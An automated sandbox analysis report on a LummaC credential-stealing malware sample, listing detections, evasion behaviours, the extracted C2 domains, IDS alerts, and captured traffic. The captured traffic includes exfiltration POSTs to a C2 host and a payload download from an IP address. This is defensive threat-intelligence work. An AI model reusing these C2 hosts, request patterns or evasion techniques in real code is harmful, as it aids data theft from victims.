Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544764
MD5:	1c74e2bcb64d619589af56e34e35984f
SHA1:	b565b12817e39b734451e91050f8c48e3183546c
SHA256:	e4b16cb9e924633cac4f4f9454613465b132b7191db0ceaf9db50333ba7c2c33
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Use Short Name Path in Command Line

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7664 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1C74E2BCB64D619589AF56E34E35984F)

5C18KRB735WCGR95JY.exe (PID: 2024 cmdline: "C:\Users\user~1\AppData\Local\Temp\5C18KRB735WCGR95JY.exe" MD5: 0CAB4E68256893B0F192DC808E0AC5DB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "thumbystriw.store", "founpiuer.store", "crisiwarny.store", "necklacedmny.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 7664	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7664	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Users\user~1\AppData\Local\Temp\5C18KRB735WCGR95JY.exe", CommandLine: "C:\Users\user~1\AppData\Local\Temp\5C18KRB735WCGR95JY.exe", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7664, ParentProcessName: file.exe, ProcessCommandLine: "C:\Users\user~1\AppData\Local\Temp\5C18KRB735WCGR95JY.exe", ProcessId: 2024, ProcessName: 5C18KRB735WCGR95JY.exe

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:15.574209+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49710	188.114.96.3	443	TCP
2024-10-29T17:59:16.875798+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49721	188.114.96.3	443	TCP
2024-10-29T18:00:15.986606+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49976	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:15.574209+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49710	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:16.875798+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49721	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T18:00:16.921674+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49977	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T17:59:47.144427+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49727	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.7664.1.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "thumbystriw.store", "founpiuer.store", "crisiwarny.store", "necklacedmny.store", "fadehairucw.store"], "Build id": "4SD0y4--legendaryy"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\5C18KRB735WCGR95JY.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49976 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 5C18KRB735WCGR95JY.exe, 00000006.00000002.2207287280.0000000000C92000.00000040.00000001.01000000.00000006.sdmp, 5C18KRB735WCGR95JY.exe, 00000006.00000003.2073817869.00000000047A0000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49721 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49721 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49976 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49727 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: fadehairucw.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 17:00:16 GMTContent-Type: application/octet-streamContent-Length: 2824192Last-Modified: Tue, 29 Oct 2024 15:56:31 GMTConnection: keep-aliveETag: "672105af-2b1800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 70 5c 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6b 61 78 7a 69 74 68 63 00 c0 2a 00 00 a0 00 00 00 b8 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 69 6b 64 68 69 79 61 00 20 00 00 00 60 2b 00 00 04 00 00 00 f2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 f6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49977 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12849Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15081Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20406Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1239Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 583379Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000001.00000003.2006011168.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2005676397.00000000052F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000001.00000003.2006011168.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.2005676397.00000000052F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/kK
Source: file.exe, file.exe, 00000001.00000003.2005200673.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006083231.000000000071F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006591980.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000001.00000003.2005200673.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006591980.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2006266656.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee&
Source: file.exe, 00000001.00000003.2006083231.000000000071F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000001.00000003.1692025387.0000000000790000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675534325.000000000075A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2005200673.0000000000799000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710280083.0000000000791000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.0000000000790000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1899255171.000000000078F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftG
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000001.00000003.1692887027.0000000005340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000001.00000003.1708533066.00000000007B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710280083.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000001.00000003.1374447060.000000000531B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374179485.0000000005332000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1675408104.0000000005319000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000001.00000003.1374257171.000000000531B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000001.00000003.1708533066.00000000007B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000001.00000003.1899255171.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1708667876.00000000007A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710280083.00000000007A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
